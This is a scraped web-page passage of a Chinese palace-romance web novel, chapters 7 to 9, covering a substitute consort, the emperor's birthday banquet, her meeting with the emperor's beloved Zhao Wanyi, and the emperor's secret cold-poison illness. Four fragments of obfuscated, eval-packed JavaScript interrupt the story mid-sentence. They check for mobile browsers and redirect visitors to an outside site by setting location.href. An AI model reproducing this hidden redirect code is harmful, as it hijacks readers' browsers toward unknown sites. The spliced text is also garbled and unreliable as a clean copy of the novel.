乌时晏比起前面的皇帝来说并不勤勉,但朝政一片欣欣向荣,除了他登基是以武定天下的结果,便是得益于此。 将贪官污吏揪出来,朝政可不就好了? - 裴府。 熄了灯的屋内,月光洒下,形成漂亮的水光。 但屋内的二人却毫无欣赏之意。 裴谨道:“走了。” 赵婉仪闻言,漂亮的脸上神情郁郁,什么也没说,翻身睡去。 裴谨见此,从柜子里拿出被褥,去外间打起地铺。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127932|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他已经习惯了这种形式,自他们婚后陛下便派了暗卫来,裴谨不知道该说陛下敏锐,还是该抱怨陛下这样折腾他。 晚上避暗卫,早上避丫鬟,白日还要在暗卫的眼皮子底下与赵婉仪扮作恩爱夫妻。 好在上值的时候可以缓一口气。 不过裴谨也在其他大臣的府邸察觉到暗卫的痕迹,得知陛下不是特意针对他,亦或者察觉了什么,便算是好消息。 翌日,晨光熹微,戚妤被林七叫醒,穿好衣裳后与乌时晏碰面。 这次他们是坐马车回宫。 整个皇宫乌时晏最大,他自然什么时候出宫什么时候回宫都可以,用暗道许是不想让有心之人察觉他出宫的规律。 戚妤见林七退下,疑惑问:“陛下不在臣妾身边放暗卫吗?” 乌时晏:“合适的暗卫轻功没有到你察觉不出的地步。” 戚妤莞尔一笑,大抵昨日往房檐上看的那一眼被乌时晏察觉了。 乌时晏竟敏锐到这种地步。 当然,他话中还含有另一层意思,轻功极好的暗卫有更紧要的去处。 戚妤自不会争这个,她可不想一举一动被监视。 等登上马车,乌时晏问:“你在学字?” 戚妤点头:“是,锦榕姑姑为臣妾找了一个女师父,臣妾在昭阳殿每时每刻都在认字,如今不复杂的字已经认了七七八八,只是写起来还一塌糊涂。” 乌时晏道:“回了昭阳殿,抄一篇文章让宫人送到朕那里。” 戚妤不太明白,愣神的瞬间,乌时晏解释道:“宫中的宫务不能总是由朕处理,贵妃理应为朕分忧。” 观乌时晏对待暗卫的态度,便可看出他是个物尽其用的人,不会让人才闲下来。 但戚妤不知道啊,她问:“宫中不是有太后在吗?” 若宫权一直在乌时晏手中还好,真分出去了,太后能乐意吗? “她非朕生母,又到了不该操劳的年纪。”所以可以保太后荣华富贵,却不会给太多。 太后是先皇头一批妃子,如今并不年轻。 戚妤不再推脱:“臣妾会认真写。” 等回到昭阳殿,锦榕姑姑将她从头到脚看了一遍,安了神:“娘娘和陛下怎么从宫外回来了?” 戚妤笑道:“陛下带本宫出宫看了看,姑姑,备墨,再准备一篇赋文。” 她极认真地照着写了一篇,但奈何水平在那儿,自是不如土生土长的才女,果然,字送到温室殿后,便没了下文。 戚妤自然不服气,她跟自己较劲,每天练到手腕酸疼才歇息,且第二天就会往温室殿送一篇誊抄的文章。 起初温室殿那边没什么反应,但渐渐的,乌时晏开始批阅她的字迹,并在旁边用小字题上修改意见。 戚妤是贵妃,也是宠妃,乌时晏隔些日子就会来昭阳殿一趟。 在隔着被衾纯睡觉之前,因为戚妤的字,两人会来了兴致,来到桌子前畅快的写一写。 戚妤看着乌时晏的字,心里咕噜噜冒着酸气。 她是真服气乌时晏这个古人了! 察觉到戚妤强烈的目光,那种真情流露的嫉妒,让乌时晏唇角微弯。 戚妤有戚妤的好,赵婉仪有赵婉仪的好。 不知不觉间,乌时晏将两人分的很清楚,他绝不会认错两人,亦不会再对着戚妤恍惚赵婉仪。 7. 第 7 章 戚妤是在一个月后拿到宫权的。 在这期间,她出了两次宫,给锦榕姑姑买了点心,给佩玖买了首饰鲜花,甚至她还在宫外购置了一栋小宅子,以做意外的落脚之地。 昭阳殿的账册她也细致的看了一遍,没有什么大问题。 她也一直在留意昭阳殿有问题的宫人,因此得到宫权后不久,她就将其他人的眼线一一剔除出了昭阳殿。 因为戚妤是第一次接受宫务,乌时晏特地派了一位熟悉宫务的嬷嬷过来。 在嬷嬷的指导下,戚妤很快上手。 她学东西快,对任何事物好像都有天分。 紧接着,她便迎来了第一次考验,办好乌时晏的寿宴。 乌时晏是五月初生辰,但往年的这天都没办,唯独今年有些不一样。 自然,这也是戚妤作为宠妃第一次出现在百官面前。 距离生辰之日不到十日,戚妤全部心神都投入到了这件事中,昭阳殿的门槛都要被找戚妤禀报议事的女官踏矮了。 小到膳食流程,大到座次歌舞,全都需要她来决断。 戚妤恨不得将一个人分成两个人用了,也摸到了乌时晏这人的恶劣程度。 完全是把自己当老板了,把她使得团团转。 好在穿越前戚妤还没踏入险恶的社会,还是块精力充沛的小海绵,即便劳累一天,睁开眼见到锦榕姑姑,还会笑起来。 仍会觉得阳光明媚,空气新鲜,宫娥体贴漂亮,日子有趣。 时间转眼即逝,很快来到了乌时晏生辰这日。 上午,百官朝拜,献上贺表与寿礼。 乌时晏穿着深衣宽袍,冠前垂着五彩玉珠,端坐在朝堂上,气势威仪。 …… 寿宴在午时开始,在未央宫前殿举办,戚妤随乌时晏一同出席。 甫一踏进殿内,数道目光便落到了她身上。 众人只知圣上只见了瑜贵妃娘娘一面,就出口承诺会封为妃,而圣旨下达后却是擢升贵妃。 瑜贵妃入宫一个多月,从不去后宫的陛下屡屡涉足昭阳殿,也传闻瑜贵妃出身乡野,学识不高,可不久前陛下却将宫权全权交给了贵妃。 如今更是拿寿宴来给贵妃娘娘做脸面,这让他们怎能不好奇这位贵妃娘娘呢? 戚妤同乌时晏一样,穿着深衣,玄红为底,背部绣有大片七尾凤纹,头戴金雀步摇,耳上是剔透的深蓝琉璃耳珰,如海一般的颜色,为她增了几分神秘色彩。 她腰身细,在腰封的衬托下更为明显,腰上还系着白玉双佩,分外惹眼。 不过留给众人第一印象的还是戚妤通身修炼出的尊贵气质,她微微含笑,眼中带着淡淡的睥睨,让人不敢直视。 众人只看了一眼便连忙收回视线。 只是一些人心中不由生出疑窦,贵妃娘娘怎么好似与裴夫人十分相似? 在山乎万岁千岁的声音中,乌时晏登上高位,戚妤落坐在右侧,太后的位置则在左侧。 乌时晏道:“平身,今日乃朕寿辰,当与众卿共享。” 此话一落,开始有臣子站起来为乌时晏贺诵,什么圣寿无疆,大业永昌,大殿内的声音此起彼伏,铿锵有力。 戚妤目光落到武将身上,乌时晏的臣子中,武将占了一大半,相比文臣文邹邹宣表,武将则直接的许多,不过也能看出是绞尽脑汁想出来的。 有的武将见贺词被其他人说了,干脆祝乌时晏万岁万岁万万岁。 好一会儿,这些声音才慢慢降了下来,丝竹歌舞进场,宴席正式开始。 戚妤饮了一杯酒。 有一道隐晦的视线从她坐下后便落到了她身上,即便与旁人寒暄收回了视线,又很快移回来。 戚妤对旁人的视线很敏锐,想忽略也忽略不了。 那人坐的位置在女眷中很靠前,而她也异常年轻,与其他命妇格格不入。 戚妤掀起眼皮,状似不经意回望了过去。 有所预料的,她与赵婉仪的视线交织在了一起。 一直在看她的不是旁人,正是赵婉仪。 戚妤事先想过赵婉仪的任何眼神,或不悦,或惊讶,或隐隐恐惧。 但赵婉仪都没有,她恳切地看着她,面上漫起悲意。 今日的她们不是完全相像的,戚妤是贵妃,自然怎么大气怎么高贵怎么来,而赵婉仪是臣子夫人,无论衣着还是妆容都是温婉贤淑。 因此在戚妤冷酷的目光下,赵婉仪竟像个小可怜。 戚妤重新饮了一杯酒,脑中很冷静,她觉得,她得见见赵婉仪了。 一个小说中的替身,最终能安然无恙,家财万贯,撇开一切外在因素,女主的态度必然是友善的。 但在戚妤的剧本中,她甚至与赵婉仪没什么交集。 赵婉仪在与戚妤对上视线的那一刹那就低下了头,脸上隐有笑意闪过。 月鹭问:“姑娘,奴婢怎么觉得您有些神思不属?” 赵婉仪温柔道:“你看错了。” 月鹭不由怀疑起自己,须臾她露齿一笑,总觉得今日姑娘开心了许多。 不知道该怎么描述,这么说吧,即便与恩爱的姑爷在一起,姑娘都少有开心的时候…… 戚妤想见赵婉仪,但因为赵婉仪在乌时晏心里特殊的地位,直觉告诉她不能直接告知乌时晏。 她原就没想搅合进他们的感情中,自然能不参与就不参与。 乌时晏是她的顶头上司,未来会给她一大笔钱的大财主,她这才必不可免得与乌时晏接触。 可赵婉仪…… 宴席持续时间会很长,戚妤带着佩玖出了殿散散心。 宫殿周围有一片竹林,翠绿翠绿的,也很凉爽,她带着佩玖步入其中。 一个交叉的狭窄路段,戚妤抬头,见到了意料之外的人,是赵婉仪与她的丫鬟月鹭。 戚妤进退两难,还未说什么,便见赵婉仪对她请安。 “臣妇参见瑜贵妃娘娘,娘娘千岁……” 戚妤不假思索地在赵婉仪刚蹲下时就扶起了她:“……不必多礼。” 她如今的生活很自在,不会昏了头去刁难原女主。 而月鹭则老老实实行了全礼,跟在自家姑娘身边,已经习惯了宫中人对姑娘礼敬宽宥的态度。 她起身到赵婉仪身边时下意识往前扫了一眼,才蓦然愣住。 方才在殿中她是丫鬟,自然不能抬头直视贵人,现在这么近的距离月鹭才看清了在京中大名鼎鼎的贵妃的模样。 她复看向自家姑娘,任谁来都会觉得两人是亲姊妹! 实在太像了,即便月鹭从小伺候赵婉仪,此刻也会恍惚,老爷和夫人当年会不会生的是双胞胎,只是丢了一个才在外说是独女。 可若是这样,她这个家生子不可能一点风声都听不到。 所以只能归咎于这世上就是有这么相像的两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127933|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 月鹭惊诧,佩玖见到这位与自家娘娘这么相像的夫人,心都要跳到嗓子眼了。 她没有月鹭那么单纯,回想起自家娘娘自入宫起就那样顺遂,且因她跟着锦榕姑姑,对锦榕姑姑暗地里的忧愁知道那么一点点。 所以陛下其实真正喜欢的是这位夫人?! 佩玖的眼神立刻带上了敌意,月鹭则在蒙圈,低着头,表情不太能控制的住。 而戚妤和赵婉仪,则和平许多。 戚妤没想到时机来得这样快,但她又不能早早的暴露她其实已经将赵婉仪大致了解透了,只能装作不认识问:“你……” 赵婉仪立刻道:“我的夫君姓裴,我姓赵。” 戚妤笑道:“赵夫人。” 赵婉仪应该对这个称呼很满意,眼中漾起笑意:“臣妇如此有缘能在这里碰上娘娘,不如臣妇陪娘娘走一走?” 戚妤看向赵婉仪,道了声好。 确定了,是赵婉仪特意来寻的她。 佩玖与月鹭跟随在她们身后。 “娘娘今岁几何?” “双九年岁。” 赵婉仪:“臣妇足足比娘娘大了一岁,臣妇幼时多希望有一个妹妹,因此今日在殿上见了娘娘止不住的想亲近,臣妇唐突,还望娘娘勿怪。” 戚妤:“小事而已,赵夫人的名讳本宫先前也曾听闻,听到最多的还当属赵夫人与裴大人情投意合,赵夫人与夫君的感情想必很好?” 赵婉仪笑了笑,并未回答,而是带着丝忧愁道:“若在娘娘进宫前就遇见娘娘,臣妇定会忍不住认娘娘为义妹。” 这话说的可相当亲厚的,但赵婉仪对她原不需如此。 赵婉仪背后可还站着赵家与裴家,赵家虽不在政治权利中心,但仍是老牌世家,而裴家,则是乌时晏所器重的。 即便是面对身为贵妃的她,赵婉仪也不用特意说些话来讨她开心。 戚妤问:“赵夫人可曾有过妹妹?” 该不会是把原本对小妹的感情移到她身上了吧? 赵婉仪轻轻摇了摇头:“母亲和父亲只有臣妇一个子女。” 戚妤轻舒了一口气。 这便好。 相似的相貌没有在两人之间产生隔阂,反而一人一句的聊起来,任谁见了这副场面都会觉得她们关系好。 可这只是她们真正意义上的第一次见面。 戚妤为之前在茶楼上窥视赵婉仪的行踪而微红了脸颊。 赵婉仪是个很好很好的人,温和而不失涵养,眼中从始至终都带着真诚的笑意。 直至两人走到尽头,准备折返时,裴谨找了过来。 他面色煞白,直至走近才一点点恢复如常。 赵婉仪的眼中闪过一丝幽微。 裴谨深深行礼:“微臣参见贵妃娘娘。” 戚妤避开了他这一礼。 裴谨是来找赵婉仪的,戚妤自然没有霸着不放的道理,两人笑着道别,戚妤目送赵婉仪离开。 她回头看向佩玖,佩玖满脸不高兴,闷闷地唤了声娘娘。 戚妤思索了一番便明白她为何这样了,叮嘱道:“此事不必告诉锦榕姑姑。” 她心如明镜的事,锦榕姑姑知道定会为她担忧。 佩玖抿着唇:“诺。” 陛下因为那位夫人而一眼留下了娘娘,娘娘即便知道也对陛下尽心尽力,对那位夫人笑脸相迎,她为娘娘感到不值。 8. 第 8 章 戚妤重新回到殿内,因为方才那一出,她特意往下扫了一眼。 并未见到裴谨与赵婉仪。 不过她很快将二人抛之脑后,只要确定了赵婉仪对她友善的态度,那她就没什么可担忧的。 至于背后的缘故,她也不想探究。 戚妤品尝起宫宴上的美食,欣赏起歌舞,因为都是她一手安排的,多少会有她的喜好在里面。 她脸上挂着淡笑,但能看出她是真的高兴。 佩玖见此,沮丧的心情稍稍回升。 一直伴着娘娘的她,是能看出娘娘的没心没肺,既然娘娘都这样了,她们做奴婢的又怎能强求呢? 只是再也不会听到陛下来昭阳殿,就兴奋地跟什么似的了。 过了好一会儿,乌时晏身边的嬷嬷终是忍不住来到戚妤身侧。 她道:“娘娘,陛下一直在饮酒,太后都劝他不得,您……” 戚妤闻言有一瞬间的尴尬,她注意力一直在歌舞上,自然忽略了乌时晏。 这可不是一个宠妃该做的。 但乌时晏应该是因为裴谨与赵婉仪两人出去太久这才借酒消愁。 小夫妻么,聚在一起不就是谈情说爱,也没其他可能了,估计乌时晏想到这便受不了了。 戚妤默默腹诽,太后都劝不住,她如何能劝得? 只是嬷嬷都来了,她自然不能不作为。 戚妤往乌时晏的方向看了一眼,见他脸庞微红,神情从始至终都没变过,只是那一杯接着一杯喝酒的样子能看出他心情不虞。 除此之外,再没看出端倪,本应贴心君主的大臣还在底下笑呵呵的和同僚相互劝酒,半点没察觉。 如果戚妤不是拿着答案猜过程,神仙来了也不会从这些事上看出端倪。 戚妤起身,朝乌时晏走去。 “陛下,饮酒伤身,不如喝些解酒汤?”她扫了嬷嬷一眼,嬷嬷立刻将早已准备好的解酒汤呈上。 戚妤端起来,搅了搅,模样温柔地递给乌时晏。 喂他喝是不可能的,她手指纤纤,不想干伺候人的活。 当然,干着伺候人的活的宫人,她也没有看不起,封建世道如此,她能做的就是不剥削和绝对的大方。 她也不会因有这么多宫人照料她而心怀忐忑,愧疚,这样不就白白浪费了这么优越的生活? 自始至终,戚妤都抱着享受的目的,自己高兴就是最大的事。 乌时晏没发觉这点差别,他伸出手,没去端解酒汤,反而握住了戚妤的手腕。 戚妤腕上一抖,端着的解酒汤顷刻洒出来不少,她震惊地看向他,而后急忙掩住神色。 她很快发现乌时晏并不清醒,是慢半拍的看向她,虽然眼神清明,但眨眼睛的动作却慢了很多。 他醉了。 “扶朕回寝宫。”乌时晏道。 戚妤心里划过一排乌鸦飞过留下的黑点,即便醉成这样,仍能发号施令,乌时晏不愧为皇帝。 好在乌时晏会自己走路,戚妤作为挂件跟着他一起离开。 反正宫宴差不多要结束了,剩余的歌舞也没什么可惜的,有想看的可以直接让舞伶到昭阳殿表演。 且不需要请示任何人,毕竟在后宫,还是手握宫权的贵妃最大。 而乌时晏,根本不会理会这些事。 太后则长居长信殿,她们井水不犯河水。 戚妤与乌时晏离开后不久,赵婉仪与裴谨就回来了,两人的神情看不出丝毫异样。 赵婉仪的目光在找戚妤。 裴谨则发现陛下并不在宫宴上。 赵婉仪沉浸在戚妤和她面容那样相似,或许是记忆中的小妹,没反应过来宫中的宠妃与她长相相仿中暗藏的玄机。 裴谨不傻,也了解男人,顿时明白了陛下那幽微难言的心思。 这才在听丫鬟说赵婉仪特意在贵妃起身后出去,连忙出来寻她们,他不想让赵婉仪与贵妃多待,不想让赵婉仪意识到这件事。 怪不得陛下久久不纳妃,怪不得陛下对他不如往日那般信重,也怪不得太后娘娘会频频宣赵婉仪进宫。 裴谨心中蹦出两个字。 孽缘。 这如何不是孽缘呢,陛下喜欢赵婉仪喜欢到宁愿找个替身,也不愿去动赵婉仪。 而赵婉仪自进京后就在谋划接近陛下,裴谨看在小时候的情谊上不愿眼睁睁看着她走上错路,又在陛下的暗卫频频出现在赵婉仪身边后决定与赵婉仪履行婚约,实则为假成亲。 现在想来,陛下派来的暗卫根本不是察觉了什么而有意监视,而是动情了,连带着心上人的一举一动都想知道。 包括蹲在裴府的暗卫…… 裴谨木着脸,自他打算帮赵婉仪隐瞒她的身世之仇,放任这个可能随时准备刺杀陛下的隐患出现在陛下面前,他就已经里外不是人了。 赵婉仪如今只是被可能的血缘关系惑了心神,等她反应过来,必然有所谋算。 多好的天然优势啊。 另一边。 这是戚妤第一次来乌时晏的寝宫,他往常都住在温室殿,鲜少来这里,不过这离举办宫宴的前殿最近,因此路上并未耽搁多少时间。 但饶是这么短的时间,戚妤见宫人退守在几步之外,掰开乌时晏攥的紧紧的手,手腕上还是落下了红痕。 她伸出一根手指轻轻推了一下坐在床边发愣的乌时晏,他就直挺挺栽倒在床上。 戚妤现在对乌时晏是有些嫌弃的,再俊的人饮酒,沾上酒气都不会好闻。 她起身往外唤嬷嬷,让她寻人来为乌时晏更衣。 嬷嬷进来见陛下这样满是醉意,对戚妤道:“贵妃娘娘,您亲自为陛下更衣,想来陛下会更喜欢。” 戚妤扶着额头:“本宫也有些醉了,若能亲自来,本宫何必假手于人?” 嬷嬷没有坏意,她只是想给在后宫权势渐渐起来的瑜贵妃娘娘卖一个好。 闻言不再强求,立刻让人端来醒酒汤的同时,让宫娥进来为戚妤揉一揉额头,舒缓一二。 戚妤不客气地享用了,摘下钗环后,躺在宫娥的腿上,阖眼假寐。 并在心里感叹,还是皇帝会享受,鲜少住的寝宫里的宫娥都这样多才多艺,小意温柔, 佩玖见此不由古怪,依着戚妤在进宫前无视一干美人的态度,她还以为这是不喜女子,可现在看来,分明是戚妤太过随性。 漂亮安静,会讨她欢心的美人她是极喜欢的。 天底下怎么会有这样的人? 不妒不醋,和陛下同处一殿也没动任何凡心。 明明若是娘娘之前并未与陛下圆房,今天会是个绝好的时机,一举怀上孩子,陛下即便迁怒,还能不要腹中的皇嗣吗? 佩玖神游着,但娘娘这般中庸,于她们这些婢子却是好的。 不必担心主子哪天有倾覆的风险,而牵连到他们这些宫人头上。 至于陛下喜欢臣子夫人这事,佩玖下意识忽略了,恐怕今日在宫宴上有所猜测的人也不会妄议,她一个小小宫女,自然连想都不敢想。 戚妤没想到,这一假寐她居然睡着了。 再次醒来时,她以为她在昭阳殿的大床上,下意识伸手往被褥里随意探去,生长身体。 却突兀地碰到了一只手。 戚妤陡然清醒过来,撂开手,离得远远的。 思绪回拢,她意识到她还在乌时晏的寝宫中,这里不是她的昭阳殿,和她躺在一起的自然是乌时晏,除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127934|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,也没旁人。 再在明亮的烛光下一看,乌时晏闭着眸,蹙着眉,嘴唇是透着一丝艳的玫瑰粉色,脸色雪白,跟睡美人似的。 ——应是饮酒的后劲儿。 现在外面已经黑透了,即便她让人进来,也回不去昭阳殿。 不是宫人不听她的命令,而是她夜半离开,明天宫中就该传出来风言风语了。 戚妤托着下巴,目光扫向乌时晏的脸庞。 心里想着,女主可吃的真好,夫君和情人都有世间难得的男色。 这般念着,戚妤的行为却是对乌时晏避之不及。 看着看着,戚妤渐渐发现了不对劲,乌时晏的脸怎么越来越苍白,额头上甚至冒出了一层冷汗,睫毛轻轻一颤,但眼皮太沉,他连睁眼都睁不开。 乌时晏的身体出问题了! 早在乌时晏常住温室殿戚妤便发觉了不对,但秉持着知道越少,麻烦越少的道理,她佯装不知。 只是今日,却避不开了。 她第一个念头是唤宫人进来,可想了想她并不知道寝宫的宫人是否都是乌时晏信赖的,于是下了床,唤起房梁上的人。 “陛下生病了!” 暗卫确信瑜贵妃娘娘是对他说的,忙翻身下去,去找来一位公公,他身后跟着数名宫人。 戚妤扫了一眼,是一个眼生的。 李昌在宫中仍然很活跃,但要论信任,恐怕乌时晏心中早换了人选。 这位公公进来后,一言不发开始安排起此事, 于是夜深露重下,戚妤跟着他们去了温室殿。 佩玖揉着惺忪的睡眼,摸不清状况,戚妤让她留在寝宫,明早再回昭阳殿。 看暗卫的态度,戚妤就知道她没传错人,乌时晏的病现在仍是个秘密,知道的人不多,所以还是不带佩玖了。 温室殿一直在烧着地龙,燃着炭火,热的像是有一轮炙热的太阳怀抱着这里。 乌时晏进入温室殿须臾,脸色就好了许多,只是仍旧昏迷。 温室殿常驻有御医,说御医也不太妥当,因为那人不是戚妤所知道的任何一个御医,应该是专解决乌时晏这一个病的人。 暗卫看了眼戚妤,不知道该不该让戚妤先行出去,在他思索时,陛下床榻旁边,已经传来了激烈的讨论声。 暗卫闭嘴垂眸,算了,贵妃娘娘知道的本就很多,也不差这一件了。 不过竟然连他的轻功都瞒不过贵妃娘娘吗? 暗卫不由自闭起来。 戚妤半夜随着他们换了个地方,正是不想动脑的时候,也就没想起来离开。 当她听到他们这群乌时晏心腹开始讨论的时候,已经晚了。 因此她也就知道,乌时晏这不是病,而是中毒了,此毒名为寒毒,已经根植在乌时晏体内有几年,只能遏制,拔除不了。 不过最近事情有了转机,听说雪山上有一种名为破厄花的红花,溶于水则无色,寻一女子喝下去后再与乌时晏行周公之礼,就可化解寒毒。 大行阴阳之道后,解毒的同时对男女都有利,可以修复体内的暗伤,让身体更康健。 戚妤:“……” 怪不得乌时晏这不主动的性子还能夺得赵婉仪的芳心,原来在这上面。 若是情到浓时,这就是戳破最后一张纸的方法。 旁边的讨论还在继续,从他们口中戚妤也听到裴夫人三个字,看来他们早有了目标。 只等暗卫取来破厄花,就可实施所谓的计划。 只是这花至今没寻到,有没有还两说,派往雪山的暗卫也没传来好消息。 所以他们对她旁边的暗卫首领恨铁不成钢的同时,也在积极寻求其他方法,可若其他方法行,寒毒早治好了。 9. 第 9 章 暗卫首领名为萧从,那名公公叫田文善,医治乌时晏的郎中叫孟舍。 萧从敦默寡言,即便孟舍都快指着萧从的鼻子嫌弃了,他也一句话都不辩解。 孟舍是个中年人,翘着胡须,急起来吹胡子瞪眼。 田文善则嗯嗯是是的应着孟舍的话,然后插几句嘴问陛下现在身体如何。 寒毒不可能轻易解掉,与其期待孟舍口中的良药,不如让陛下的身体回稳,早些醒来,不至于耽误国事。 陛下这样的身体,仍不愿随意找个妃子生下皇嗣,田文善私底下都快急死了。 若是陛下点头,他立刻就能去裴府将裴夫人带进宫。 什么是非名声,他是阉人,只尽忠陛下,不在乎这些。 只是没想到,陛下面对情爱,却这么心慈手软,半点不像在战场上平叛的果决骁勇。 田文善同李昌一样,在今上还是七皇子时就侍奉在侧了,只是他很多年都是七皇子身边一个不起眼的小太监,不如李昌在宫里主子面前都说得上话。 后来,陛下登基后急匆匆去平天下,一次险象环生中,田文善与萧从将陛下救回来,这才一步步受到赏识提拔。 也就是那次,陛下身中寒毒,一旦发作体寒无比,筋骨剧痛,就算是平常,身上的温度都较常人低。 而孟舍,从前是民间神医,后来当了乌时晏身边一名军医,他也是少有知情乌时晏患病的大夫。 寒毒折磨人,若换了旁人早就形销骨立,拔剑自刎了。 得亏是乌时晏意志坚定。 既然陛下都这样,他们几个就算是排除万难也要帮陛下解决这个毒,同时也会死守消息,不让一些人生出不该有的心思。 好在,这寒毒暂且有了眉目。 接下来便是等,等去往雪山的暗卫将药带回来。 孟舍展开他装有银毫金针的袋子,开始为乌时晏施针。 田文善问:“就不能让陛下少受些疼?” 孟舍同之前回答了无数次一样:“自然可以,但陛下不会同意,我施针刺激毒素快些发作,成倍的疼是避免不了的,但这样陛下也能早点清醒。若压制毒素,虽疼痛减弱,但浑浑噩噩的时间却会延长。” 不用想陛下就会选前者。 “这次陛下饮酒过多导致毒素提前发作,注定会更疼。”他拧眉说道。 孟舍下针很稳,且中间没有停歇,不多时,大概是大功告成,他屈指一弹,金针震颤开来。 戚妤在一旁看的入神。 又是一盏茶的功夫,在众人屏气凝神下,孟舍将针拔掉,乌时晏身上瞬间汗如雨下,他眉头紧皱,牙齿咬的咯吱作响。 孟舍见此叹了口气,出了温室殿。 之后就是乌时晏独自忍耐的事了。 萧从翻身上了房梁。 田文善吩咐信任的宫人按照往常那样准备,备好陛下需要的东西。 “奴才给贵妃娘娘请安。”见戚妤在这里,田文善并不惊讶。 他们还没粗心到一个大活人在这里而视而不见。 田文善有自己的小心思,当初李昌采选美人时特意挑与裴夫人长相相仿的事,他也是知情的,甚至暗地里推了一把。 他不觉得裴夫人无可替代,在对戚妤的态度上,他和李昌出奇的一致。 他们很看好她。 戚妤向田文善点了点头,接着象征性地去看了乌时晏一眼,微微蹙眉,眼中覆起一层泪水,模糊了视线,最终不忍的撇开脸。 任谁见到这一幕,都能感受到她的真情实感。 田文善也不例外,他在此之前对这位瑜贵妃了解不多,但此刻,他对贵妃娘娘的好感度大幅增加。 他体贴道:“娘娘可以留下哄一哄陛下,陛下听到熟悉的声音,兴许就转移了注意力,没那么疼了。” 哄一哄? 戚妤将泪水眨掉:“本宫不会哄人。” 别人哄她还差不多。 戚妤的声音轻柔,田文善没听出拒绝之意,当然,是他没往那方面想。 贵妃娘娘见到陛下不适而担忧的模样,让他打心底觉得贵妃娘娘是个心地善良,又对陛下有怜贫惜弱之情的人。 田文善道:“没关系,娘娘陪在陛下身边,陛下就很高兴了。” 戚妤着实无言以对。 “陛下逢此大难,本宫理应亲自照料,不叫陛下身边无人,公公且放心。” 田文善闻言,立刻笑的不值钱起来,对戚妤愈发恭敬。 从前毒素发作,都是他侍立在外间,等待陛下熬过这阵后听吩咐上前,如今贵妃娘娘留下,他自然麻溜的退了出去,给贵妃娘娘创造机会。 戚妤见宫人退出去,又听到殿门合上的声音,更是沉默了。 他们对她可真是信任。 当然其中可能有暗卫首领还蹲在梁上的缘故,这才这么放心。 不过她确实不会伤害乌时晏,还会盼着他好好的。 毕竟乌时晏好端端的,她这个贵妃才更名副其实。 戚妤细细看了一眼乌时晏,见他额头上冒出汗珠,便从袖中拿出帕子轻轻给他擦起来。 说也稀奇,乌时晏的汗珠居然是凉的。 要知道,这可是五月份还燃着地龙的温室殿,即便是半夜,也会让人觉得燥热难耐。 然而乌时晏盖了一条厚厚的锦被,额头却十分冰凉。 梁上探出头的萧从见到戚妤的举动悄然收回了视线。 戚妤弯腰给乌时晏擦好汗后,便坐在了床边,支着面颊,默默出神。 衣裳很厚,她很热。 在温室殿呆了这么久,也就乌时晏会觉得温度适宜,哦,不,还有一个暗卫。 但戚妤身上的衣裳却没法脱一件,本身睡在寝宫时,她的外袍就脱下了,而赶来温室殿,并没有增减衣裳。 腰封牢牢扣在腰上,一件衣裳也褪不了。 温室殿也没有她的寝衣,即便有,她也不会在这种时候换上寝衣跟乌时晏躺在一张床上。 因为乌时晏现在就像个人形大冰块,稍稍靠近他就能感受到凉意。 她怕她忍不住。 戚妤挽起袖子,大大方方将肌肤白皙,在这种环境下更显滑腻的小臂露出来。 反正乌时晏不省人事,她能凉快一点是一点。 不过她心中有一根线,除了帮乌时晏擦汗外,今夜绝不去碰他。 只需熬过今晚…… 戚妤给乌时晏又擦了两次汗后,许是殿内太过安静,不知不觉间,她竟然趴在床边睡着了。 整个人缩着,腰部下塌,上半身微微扭着,脸趴在胳膊上,鼻尖是晶莹的汗珠,头发更显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127935|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌黑亮丽。 睡的又热又熟。 片刻后,萧从轻轻落地,取来扇子,放到戚妤手边,又将外间宫人本就准备好的凉水端进来。 在将铜盆放好后,他下意识往床榻的方向看了一眼。 却见陛下已经睁开了眼睛。 萧从愈显沉默,回避了乌时晏的视线后,又隐了起来。 乌时晏此时的意识还不太清醒,他睁开眼便看见了趴睡在他身边的戚妤的侧脸,没反应过来,就这么盯了好一会儿。 